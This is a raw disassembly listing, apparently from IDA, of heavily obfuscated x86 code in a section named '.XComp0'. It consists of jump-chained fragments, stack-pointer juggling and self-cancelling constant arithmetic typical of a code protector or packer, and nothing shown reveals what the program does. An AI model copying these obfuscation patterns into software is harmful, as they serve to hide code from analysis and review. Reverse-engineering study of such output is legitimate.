		pop	esi
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_590C9C
; ---------------------------------------------------------------------------


loc_58485B:				; CODE XREF: .XComp0:00598866j
		add	esi, eax
		jmp	loc_58D2DF
; ---------------------------------------------------------------------------


loc_584862:				; CODE XREF: .XComp0:00590A9Bj
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_58EF25
; ---------------------------------------------------------------------------


loc_58489D:				; CODE XREF: .XComp0:00584439j
		pop	esp
		jmp	loc_58F2BF
; ---------------------------------------------------------------------------


loc_5848A3:				; CODE XREF: .XComp0:005917CBj
		sub	esp, 4
		jmp	loc_58D874
; ---------------------------------------------------------------------------


loc_5848AE:				; CODE XREF: .XComp0:005953F6j
		mov	ebx, 68132BF3h
		sub	edx, ebx
		pop	ebx
		sub	edx, ecx
		add	edx, 68132BF3h
		pop	ecx
		jmp	loc_5849F9
; ---------------------------------------------------------------------------


loc_5848C4:				; CODE XREF: .XComp0:0058760Dj
		push	ecx
		push	edx
		push	ebx
		mov	bl, al
		jmp	loc_5914CB
; ---------------------------------------------------------------------------


loc_5848CE:				; CODE XREF: .XComp0:00587789j
		push	7A86h
		mov	[esp], ecx
		jmp	loc_58FE10
; ---------------------------------------------------------------------------


loc_5848DB:				; CODE XREF: .XComp0:00587237j
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		push	7A78h
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_593EEF
; ---------------------------------------------------------------------------


loc_5848F3:				; CODE XREF: .XComp0:0058FD3Dj
		pop	ebp
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	2755h
		mov	[esp], ebx
		mov	ebx, 71A2448Dh
		and	ebx, 79A303A5h
		xor	ebx, 1D8003BEh
		jmp	loc_596EC8
; ---------------------------------------------------------------------------


loc_58492A:				; CODE XREF: .XComp0:005949B7j
		push	edi
		pop	edx
		pop	edi
		jmp	loc_592F8D
; ---------------------------------------------------------------------------


loc_584932:				; CODE XREF: .XComp0:00585E4Ej
		pop	esp
		mov	[esp], ecx
		mov	ecx, 113740Eh
		mov	edi, ecx
		jmp	loc_597375
; ---------------------------------------------------------------------------


loc_584942:				; CODE XREF: .XComp0:00598196j
		mov	eax, edi
		pop	edi
		push	eax
		xor	dword ptr [esp], 18223828h
		pop	ebp
		push	edx
		jmp	loc_58DF60
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_584963:				; CODE XREF: .XComp0:00592BA6j
		neg	edx
		jmp	loc_58454E
; ---------------------------------------------------------------------------


loc_58496A:				; CODE XREF: .XComp0:00596027j
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_595898
; ---------------------------------------------------------------------------


loc_584976:				; CODE XREF: .XComp0:00597CCAj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_598AB7
; ---------------------------------------------------------------------------


loc_584982:				; CODE XREF: .XComp0:0058AC02j
		pop	ecx
		push	5974h
		mov	[esp], ebx
		jmp	loc_5930E5
; ---------------------------------------------------------------------------


loc_584990:				; CODE XREF: .XComp0:0058E330j
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58499F:				; CODE XREF: .XComp0:00590385j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_598815
; ---------------------------------------------------------------------------


loc_5849C6:				; CODE XREF: .XComp0:005938F0j
		add	esp, 4
		push	edx
		push	ecx
		mov	ch, 85h
		sub	esp, 4
		mov	[esp], eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		pop	ecx
		shl	dh, 8
		push	3A48h
		mov	[esp], ebx
		mov	bh, 44h
		shr	bh, 7
		add	bh, 0C0h
		dec	bh
		push	ecx
		mov	cl, 5
		jmp	loc_59753D
; ---------------------------------------------------------------------------


loc_5849F9:				; CODE XREF: .XComp0:005848BFj
		push	esi
		mov	esi, 88C2E079h
		add	edx, esi
		pop	esi
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_594DC0
; ---------------------------------------------------------------------------


loc_584A0F:				; CODE XREF: .XComp0:0058400Dj
		xor	al, bl
		push	small 7B38h
		jmp	loc_583B07
; ---------------------------------------------------------------------------


loc_584A1A:				; CODE XREF: .XComp0:00588F98j
		xor	ecx, edx
		jmp	loc_597402
; ---------------------------------------------------------------------------


loc_584A21:				; CODE XREF: .XComp0:0059172Cj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59784D
; ---------------------------------------------------------------------------


loc_584A2A:				; CODE XREF: .XComp0:00591E86j
		neg	esi
		inc	esi
		dec	esi
		shr	esi, 4
		shl	esi, 5
		push	ecx
		mov	ecx, 3F12B582h
		jmp	loc_595AB5
; ---------------------------------------------------------------------------


loc_584A3F:				; CODE XREF: .XComp0:00592ED2j
		mov	edx, [esp]
		add	esp, 4
		xor	eax, 71B24E77h
		xor	eax, 1E8821BEh
		add	ebx, eax
		pop	eax
		push	edx
		mov	edx, 4771147Bh
		sub	ebx, 404E4E28h
		sub	ebx, 3F943014h
		add	ebx, 54897FCEh
		sub	ebx, edx
		sub	ebx, 54897FCEh
		jmp	loc_59571E
; ---------------------------------------------------------------------------


loc_584A7A:				; CODE XREF: .XComp0:00594DE3j
		add	ebx, ebp
		pop	ebp
		add	ebx, 4E4635DAh
		jmp	loc_58D672
; ---------------------------------------------------------------------------


loc_584A88:				; CODE XREF: .XComp0:00584C74j
		pop	ebp
		jmp	loc_590A3C
; ---------------------------------------------------------------------------


loc_584A8E:				; CODE XREF: .XComp0:00589E66j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 4B5C16B0h
		jmp	loc_58AFF4
; ---------------------------------------------------------------------------


loc_584A9F:				; CODE XREF: .XComp0:00593AE9j
		mov	eax, 3808489Dh
		push	ebx
		mov	ebx, 304A5D52h
		or	eax, ebx
		jmp	loc_595A6C
; ---------------------------------------------------------------------------


loc_584AB1:				; CODE XREF: .XComp0:0058BF90j
		pop	ebx
		jmp	loc_597417
; ---------------------------------------------------------------------------


loc_584AB7:				; CODE XREF: .XComp0:0058B7A1j
		mov	[esp], ebp
		mov	ebp, 5B724BDBh
		sub	eax, ebp
		pop	ebp
		xor	eax, 20083CC1h
		push	edx
		mov	edx, 3A7F5B09h
		add	ebx, edx
		pop	edx
		add	ebx, eax
		jmp	loc_591812
; ---------------------------------------------------------------------------


loc_584AD7:				; CODE XREF: .XComp0:0058EB25j
		pop	ecx
		add	esp, 4
		push	1288h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_586E5A
; ---------------------------------------------------------------------------


loc_584AF9:				; CODE XREF: .XComp0:005947B5j
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_584B05:				; CODE XREF: .XComp0:0058EFBCj
		add	esi, 3B93213Bh
		jmp	loc_593A09
; ---------------------------------------------------------------------------


loc_584B10:				; CODE XREF: .XComp0:00593387j
		push	edx
		jmp	loc_597A0E
; ---------------------------------------------------------------------------


loc_584B16:				; CODE XREF: .XComp0:00585EB4j
		xor	ebp, 538D11E1h
		sub	ebp, 35C41B3Ch
		add	edx, ebp
		pop	ebp
		add	edx, ecx
		jmp	loc_587EDE
; ---------------------------------------------------------------------------


loc_584B2C:				; CODE XREF: .XComp0:0058B0C2j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	eax
		jmp	loc_598DC9
; ---------------------------------------------------------------------------


loc_584B45:				; CODE XREF: .XComp0:00590A3Ej
		mov	edx, 0DE9622Dh
		or	edx, 57E4007Dh
		dec	edx
		jmp	loc_585921
; ---------------------------------------------------------------------------


loc_584B56:				; CODE XREF: .XComp0:005853D4j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_594490
; ---------------------------------------------------------------------------


loc_584B61:				; CODE XREF: .XComp0:00594DBBj
		push	32113F8Dh
		pop	ebx
		jmp	loc_58691E
; ---------------------------------------------------------------------------


loc_584B6C:				; CODE XREF: .XComp0:0058BC12j
		pop	ecx
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_58F6BB
; ---------------------------------------------------------------------------


loc_584B77:				; CODE XREF: .XComp0:0058AC1Aj
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_5850B7
; ---------------------------------------------------------------------------


loc_584B81:				; CODE XREF: .XComp0:0058C73Cj
		pop	esp
		jmp	loc_58FBEC
; ---------------------------------------------------------------------------


loc_584B87:				; CODE XREF: .XComp0:00596167j
		xor	eax, 0A50C8758h
		jmp	loc_585A78
; ---------------------------------------------------------------------------


loc_584B91:				; CODE XREF: .XComp0:00583FDBj
		mov	[esp], esi
		mov	esi, 5E7B1CF6h
		dec	esi
		add	esi, 1
		jmp	loc_5896F1
; ---------------------------------------------------------------------------


loc_584BA5:				; CODE XREF: .XComp0:00590D66j
		sub	eax, 6B2B605Fh
		add	eax, 37D920B8h
		pop	ebp
		push	edi
		jmp	loc_58E7CB
; ---------------------------------------------------------------------------


loc_584BB6:				; CODE XREF: .XComp0:00593ED4j
		sub	ecx, 77F545FDh
		xor	ecx, 90675B4Ah
		jmp	loc_5971E5
; ---------------------------------------------------------------------------


loc_584BC7:				; CODE XREF: .XComp0:00583A9Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	4213h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58570E
; ---------------------------------------------------------------------------


loc_584BEA:				; CODE XREF: .XComp0:00597F1Cj
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		mov	ch, [esp+2]
		mov	[esp+2], bh
		mov	bx, [esp]
		push	ecx
		jmp	loc_5934DE
; ---------------------------------------------------------------------------


loc_584C08:				; CODE XREF: .XComp0:005947DBj
		push	0
		sub	[esp], edi
		pop	edi
		push	esi
		jmp	loc_594C41
; ---------------------------------------------------------------------------


loc_584C17:				; CODE XREF: .XComp0:005854FDj
		mov	ebx, 215F2BE7h
		add	ebp, 52566722h
		add	ebp, ebx
		sub	ebp, 52566722h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ebp, edi
		sub	ebp, 215F2BE7h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58CEA8
; ---------------------------------------------------------------------------


loc_584C5B:				; CODE XREF: .XComp0:0058CD53j
		push	eax
		jmp	loc_598E53
; ---------------------------------------------------------------------------


loc_584C61:				; CODE XREF: .XComp0:0058BCAFj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58B8AA
; ---------------------------------------------------------------------------


loc_584C72:				; CODE XREF: .XComp0:00585D34j
		sub	eax, ebp
		jmp	loc_584A88
; ---------------------------------------------------------------------------


loc_584C79:				; CODE XREF: .XComp0:0058A6EAj
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_5905AA
; ---------------------------------------------------------------------------


loc_584C83:				; CODE XREF: .XComp0:00594C6Dj
		add	esp, 4
		pop	ebx
		add	eax, 2F9873D1h
		add	eax, ebp
		sub	eax, 2F9873D1h
		add	eax, 18A72D46h
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 78B07A74h
		push	esi
		mov	esi, 7CA70B90h
		xor	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	4597734Ah
		pop	esi
		xor	esi, 7B726502h
		xor	esi, 33833711h
		mov	edx, esi
		pop	esi
		jmp	loc_59383C
; ---------------------------------------------------------------------------


loc_584CD6:				; CODE XREF: .XComp0:00594EF0j
		mov	[esp], eax
		mov	eax, 74454753h
		add	eax, 0DAB76BEh
		or	eax, 6EC2915h
		push	272Ah
		mov	[esp], edx
		mov	edx, 64EA1591h
		shl	edx, 5
		xchg	edi, edx
		jmp	loc_583EF3
; ---------------------------------------------------------------------------


loc_584CFF:				; CODE XREF: .XComp0:0058F8FFj
		pop	esp
		add	ebp, 4
		push	0F30h
		mov	[esp], edx
		push	eax
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		jmp	loc_595315
; ---------------------------------------------------------------------------


loc_584D1C:				; CODE XREF: .XComp0:00592456j
		xor	ebp, 3C3A67F0h
		jmp	loc_598268
; ---------------------------------------------------------------------------


loc_584D27:				; CODE XREF: .XComp0:0058F3AFj
		mov	ecx, 7C5821D3h
		and	ecx, 141E74F7h
		shl	ecx, 6
		xor	ecx, 6B7495Eh
		or	ecx, 715964FDh
		add	ecx, 8E008205h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, 4207085Ch
		jmp	loc_5936F8
; ---------------------------------------------------------------------------


loc_584D60:				; CODE XREF: .XComp0:00592EFFj
		mov	edi, [esp]
		push	esi
		jmp	loc_592AA6
; ---------------------------------------------------------------------------


loc_584D69:				; CODE XREF: .XComp0:00598E19j
		shr	ebp, 6
		shl	ebp, 2
		add	ebp, 4056F754h
		add	edx, ebp
		pop	ebp
		add	edx, edi
		sub	edx, 44930D40h
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 69E1F64h
		sub	esi, 7DB40983h
		jmp	loc_58EE1C
; ---------------------------------------------------------------------------


loc_584D9A:				; CODE XREF: .XComp0:00589FB6j
		mov	ch, ah
		pop	eax
		jmp	loc_5935AC
; ---------------------------------------------------------------------------


loc_584DA2:				; CODE XREF: .XComp0:0058D916j
		add	bl, 8Ah
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_58CF86
; ---------------------------------------------------------------------------


loc_584DB1:				; CODE XREF: .XComp0:0058B85Bj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_58D794
; ---------------------------------------------------------------------------


loc_584DBE:				; CODE XREF: .XComp0:00593F3Fj
		mov	ecx, [esp]
		jmp	loc_58EC7F
; ---------------------------------------------------------------------------


loc_584DC6:				; CODE XREF: .XComp0:00592345j
		mov	edi, 253C54EEh
		mov	ecx, edi
		pop	edi
		jmp	loc_59826E
; ---------------------------------------------------------------------------


loc_584DD3:				; CODE XREF: .XComp0:0058811Fj
		mov	dh, cl
		pop	ecx
		pop	ebx
		mov	bl, dh
		mov	edx, [esp]
		jmp	loc_58963B
; ---------------------------------------------------------------------------


loc_584DE1:				; CODE XREF: .XComp0:005843FBj
		push	1247h
		jmp	loc_590283
; ---------------------------------------------------------------------------


loc_584DEB:				; CODE XREF: .XComp0:00595927j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_596938
; ---------------------------------------------------------------------------


loc_584DFF:				; CODE XREF: .XComp0:00594975j
		push	eax
		mov	eax, 4FF103FFh
		jmp	loc_5956E5
; ---------------------------------------------------------------------------


loc_584E0A:				; CODE XREF: .XComp0:0058ECEAj
		pop	esi
		dec	eax
		or	eax, 5C0832DBh
		neg	eax
		jmp	loc_598BEA
; ---------------------------------------------------------------------------


loc_584E18:				; CODE XREF: .XComp0:0058D7DDj
		sub	esp, 4
		jmp	loc_58D022
; ---------------------------------------------------------------------------


loc_584E20:				; CODE XREF: .XComp0:005851ADj
		pop	ebp
		xor	ebp, 5DA35FB3h
		xor	ebp, 4B3370FDh
		mov	edi, ebp
		pop	ebp
		sub	edi, ebx
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59586B
; ---------------------------------------------------------------------------


loc_584E3F:				; CODE XREF: .XComp0:00594D6Bj
		mov	edx, [esp]
		add	esp, 4
		xor	edi, 0AA944248h
		jmp	loc_5931F4
; ---------------------------------------------------------------------------


loc_584E50:				; CODE XREF: .XComp0:0058B797j
		push	ecx
		mov	ecx, 0CF91DA1h
		mov	ebp, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5931D8
; ---------------------------------------------------------------------------


loc_584E63:				; CODE XREF: .XComp0:00588CD8j
		xor	dword ptr [esp], 336D57EAh
		pop	edx
		jmp	loc_5868DF
; ---------------------------------------------------------------------------


loc_584E70:				; CODE XREF: .XComp0:00596342j
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	dword ptr [esp]
		jmp	loc_59765E
; ---------------------------------------------------------------------------


loc_584E81:				; CODE XREF: .XComp0:0059341Cj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_590735
; ---------------------------------------------------------------------------


loc_584E99:				; CODE XREF: .XComp0:0058BD58j
		push	eax
		push	ecx
		mov	ch, 0B7h
		mov	ah, 3Fh
		sub	ah, ch
		pop	ecx
		shr	ah, 4
		jmp	loc_596D61
; ---------------------------------------------------------------------------


loc_584EAA:				; CODE XREF: .XComp0:005931CBj
		dec	ecx
		jmp	loc_5924ED
; ---------------------------------------------------------------------------


loc_584EB0:				; CODE XREF: .XComp0:00591BE4j
		add	edx, 4
		jmp	loc_59512D
; ---------------------------------------------------------------------------


loc_584EBB:				; CODE XREF: .XComp0:0059564Cj
		neg	esi
		sub	esi, 95CED9F7h
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_588E6F
; ---------------------------------------------------------------------------


loc_584ECF:				; CODE XREF: .XComp0:00595866j
		add	eax, edx
		add	eax, 1F743298h
		pop	edx
		sub	eax, ebx
		push	ebx
		mov	ebx, 7E6862F6h
		add	eax, 70A055F6h
		jmp	loc_58F06F
; ---------------------------------------------------------------------------


loc_584EE9:				; CODE XREF: .XComp0:0059632Ej
		mov	ecx, 748A54E2h
		xor	ecx, 26747FF0h
		add	edi, 461E7712h
		sub	edi, ecx
		sub	edi, 461E7712h
		jmp	loc_588EE3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5827h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebp
		push	eax
		mov	eax, 0FFC5BA0h
		mov	ebp, eax
		pop	eax
		jmp	loc_58EB4A
; ---------------------------------------------------------------------------


loc_584F24:				; CODE XREF: .XComp0:00586C26j
		neg	ebx
		inc	ebx
		sub	ebx, 0FB9E9CD4h
		add	eax, ebx
		pop	ebx
		push	ebp
		jmp	loc_5948DC
; ---------------------------------------------------------------------------


loc_584F36:				; CODE XREF: .XComp0:0058FF56j
		pop	ebp
		sub	ebx, 48EE4B5Ah
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 2
		push	272Eh


loc_584F4C:				; DATA XREF: .XComp0:0044D5A0o
		jmp	loc_5887E7
; ---------------------------------------------------------------------------


loc_584F51:				; CODE XREF: .XComp0:00592C8Ej
		push	eax
		mov	eax, edx
		mov	[ebx], eax
		jmp	loc_585C86
; ---------------------------------------------------------------------------


loc_584F5B:				; CODE XREF: .XComp0:005976E0j
		pop	ebx
		jmp	loc_584846
; ---------------------------------------------------------------------------


loc_584F61:				; CODE XREF: .XComp0:00593E8Fj
		sub	edx, 8348A9h
		pop	edi
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_594CD7
; ---------------------------------------------------------------------------


loc_584F84:				; CODE XREF: .XComp0:00586CB1j
		and	ecx, edx
		pop	edx
		not	ecx
		push	esi
		mov	esi, 3666F39h
		add	esi, 7BB0168Dh
		push	esi
		neg	dword ptr [esp]
		pop	esi
		jmp	loc_58A218
; ---------------------------------------------------------------------------


loc_584F9F:				; CODE XREF: .XComp0:00597A1Ej
		pop	cx
		jmp	loc_58DB7C
; ---------------------------------------------------------------------------


loc_584FA6:				; CODE XREF: .XComp0:00598565j
		mov	edi, [esp]
		jmp	loc_58882B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_591E80
; ---------------------------------------------------------------------------


loc_584FC0:				; CODE XREF: .XComp0:00597279j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_586084
; ---------------------------------------------------------------------------


loc_584FCF:				; CODE XREF: .XComp0:00593019j
		pop	edi
		push	ecx
		mov	ecx, 62681C22h
		add	ecx, 9D97E3E2h
		sub	edi, 5590080Fh
		add	edi, ecx
		add	edi, 5590080Fh
		jmp	loc_592E3A
; ---------------------------------------------------------------------------


loc_584FEF:				; CODE XREF: .XComp0:00593D2Ej
		mov	ecx, ebx
		jmp	loc_58BEDC
; ---------------------------------------------------------------------------


loc_584FF6:				; CODE XREF: .XComp0:005937D7j
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	ecx
		mov	ecx, 54AE0C08h
		jmp	loc_587825
; ---------------------------------------------------------------------------


loc_585008:				; CODE XREF: .XComp0:00591AC6j
		shl	dh, 2
		push	ecx
		mov	cl, 9Fh
		neg	cl
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	al, 0A7h
		shl	al, 8
		shl	al, 3
		xor	al, 0Fh
		not	al
		jmp	loc_58C462
; ---------------------------------------------------------------------------


loc_585028:				; CODE XREF: .XComp0:00593A45j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	7FB1h
		mov	[esp], ebp
		jmp	loc_587CA8
; ---------------------------------------------------------------------------


loc_585050:				; CODE XREF: .XComp0:00585BDFj
		mov	esp, [esp]
		add	bl, 30h
		sub	bl, al
		push	small 5C41h
		mov	[esp], dx
		push	eax
		jmp	loc_58EB2A
; ---------------------------------------------------------------------------


loc_585066:				; CODE XREF: .XComp0:00587B6Fj
		and	ecx, edx
		jmp	loc_58A810
; ---------------------------------------------------------------------------


loc_58506D:				; CODE XREF: .XComp0:0058EDA8j
		dec	ebx
		neg	ebx
		shl	ebx, 3
		jmp	loc_59616C
; ---------------------------------------------------------------------------


loc_585078:				; CODE XREF: .XComp0:00590F4Fj
		xchg	eax, [esp]
		jmp	loc_58D7C2
; ---------------------------------------------------------------------------


loc_585080:				; CODE XREF: .XComp0:00591D04j
		xor	dword ptr [esp], 114C4C0Ch
		pop	esi
		xor	esi, 114C4C0Ch
		push	esi
		pop	eax
		jmp	loc_585B64
; ---------------------------------------------------------------------------


loc_585095:				; CODE XREF: .XComp0:0058872Fj
		push	7D2E08EAh
		jmp	loc_596724
; ---------------------------------------------------------------------------


loc_58509F:				; CODE XREF: .XComp0:00587CA3j
		pop	ebp
		jmp	loc_58B064
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	9A5h
		mov	[esp], esi
		push	esp
		jmp	loc_59245B
; ---------------------------------------------------------------------------


loc_5850B7:				; CODE XREF: .XComp0:00584B7Cj
		add	esp, 4
		sub	esp, 4
		jmp	loc_597AF5
; ---------------------------------------------------------------------------


loc_5850C5:				; CODE XREF: .XComp0:00589A7Fj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_5976E5
; ---------------------------------------------------------------------------


loc_5850DB:				; CODE XREF: .XComp0:00584269j
		shr	edx, 1
		jmp	loc_5963CD
; ---------------------------------------------------------------------------


loc_5850E2:				; CODE XREF: .XComp0:00592185j
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		jmp	loc_595E98
; ---------------------------------------------------------------------------


loc_5850F0:				; CODE XREF: .XComp0:005923AFj
		sub	ebx, 0C862900h
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ecx, edx
		jmp	loc_58514D
; ---------------------------------------------------------------------------


loc_585105:				; CODE XREF: .XComp0:00593FFAj
		push	esi
		mov	esi, 5EB70223h
		push	edi
		mov	edi, 3E1D1817h
		jmp	loc_598836
; ---------------------------------------------------------------------------


loc_585116:				; CODE XREF: .XComp0:00596E09j
		sub	edx, 0FFFFFFFFh
		jmp	loc_595B1A
; ---------------------------------------------------------------------------


loc_585121:				; CODE XREF: .XComp0:00597EF1j
		shl	edi, 1
		jmp	loc_5876B9
; ---------------------------------------------------------------------------


loc_585128:				; CODE XREF: .XComp0:00590DAAj
		add	eax, edx
		push	ebp
		mov	ebp, 4842381h
		push	esi
		mov	esi, 0
		sub	esi, ebp
		mov	ebp, esi
		pop	esi
		add	ebp, 35BC9634h
		jmp	loc_58D05D
; ---------------------------------------------------------------------------


loc_585146:				; CODE XREF: .XComp0:0058B5DDj
		add	esi, eax
		jmp	loc_58668C
; ---------------------------------------------------------------------------


loc_58514D:				; CODE XREF: .XComp0:00585100j
		push	dword ptr [esp]
		jmp	loc_58867D
; ---------------------------------------------------------------------------
		lodsw
		jmp	loc_5844DA
; ---------------------------------------------------------------------------


loc_58515C:				; CODE XREF: .XComp0:00594497j
		add	esp, 4
		jmp	loc_5954C7
; ---------------------------------------------------------------------------


loc_585167:				; CODE XREF: .XComp0:00592503j
		mov	esi, 26E66878h
		shl	esi, 6
		push	ebx
		mov	ebx, 51B12112h
		push	7868h
		mov	[esp], ebp
		mov	ebp, 11A9590Eh
		push	658Ch
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		add	ebp, eax
		pop	eax
		shr	ebp, 8
		jmp	loc_591D3C
; ---------------------------------------------------------------------------


loc_58519A:				; CODE XREF: .XComp0:0058E311j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58519F:				; CODE XREF: .XComp0:00590305j
		xor	ecx, [esp]
		jmp	loc_58BB24
; ---------------------------------------------------------------------------


loc_5851A7:				; CODE XREF: .XComp0:00586BC5j
		push	ebp
		push	16902F4Eh
		jmp	loc_584E20
; ---------------------------------------------------------------------------


loc_5851B2:				; CODE XREF: .XComp0:0058E0C4j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5851BD:				; CODE XREF: .XComp0:00588450j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_595776
; ---------------------------------------------------------------------------


loc_5851C9:				; CODE XREF: .XComp0:0059510Ej
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_58D02A
; ---------------------------------------------------------------------------


loc_5851D8:				; CODE XREF: .XComp0:00595884j
		sub	ebp, 7DA5A23h
		shl	ebp, 4
		add	ebp, 0DB7E9D34h
		add	ebx, ebp
		jmp	loc_5895BB
; ---------------------------------------------------------------------------


loc_5851EE:				; CODE XREF: .XComp0:00589497j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58BC0A
; ---------------------------------------------------------------------------


loc_5851FC:				; CODE XREF: .XComp0:005965A9j
		pop	esi
		push	2F91h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_584643
; ---------------------------------------------------------------------------


loc_58520F:				; CODE XREF: .XComp0:00590EBEj
		xor	al, dl
		jmp	loc_58EA2B
; ---------------------------------------------------------------------------


loc_585216:				; CODE XREF: .XComp0:0059108Fj
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_593705
; ---------------------------------------------------------------------------


loc_58522A:				; CODE XREF: .XComp0:00588414j
		push	ebp
		jmp	loc_590444
; ---------------------------------------------------------------------------


loc_585230:				; CODE XREF: .XComp0:00586A78j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, 53F07830h
		add	ecx, edi
		sub	ecx, 53F07830h
		jmp	loc_583FF5
; ---------------------------------------------------------------------------


loc_585257:				; CODE XREF: .XComp0:00589ACFj
		mov	edi, 481176B1h
		add	edi, 63EA72B2h
		and	edi, 56273D00h
		jmp	loc_58D21F
; ---------------------------------------------------------------------------


loc_58526D:				; CODE XREF: .XComp0:0058DD4Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58A379
; ---------------------------------------------------------------------------


loc_585299:				; CODE XREF: .XComp0:0058C001j
		add	eax, 70E41789h
		jmp	loc_588C0C
; ---------------------------------------------------------------------------


loc_5852A3:				; CODE XREF: .XComp0:0058F395j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59452C
; ---------------------------------------------------------------------------


loc_5852AC:				; CODE XREF: .XComp0:0058C4A6j
		sub	edx, 0CD60D975h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_595F21
; ---------------------------------------------------------------------------


loc_5852C5:				; CODE XREF: .XComp0:0058D347j
		pop	edi
		xchg	ebx, [esp]
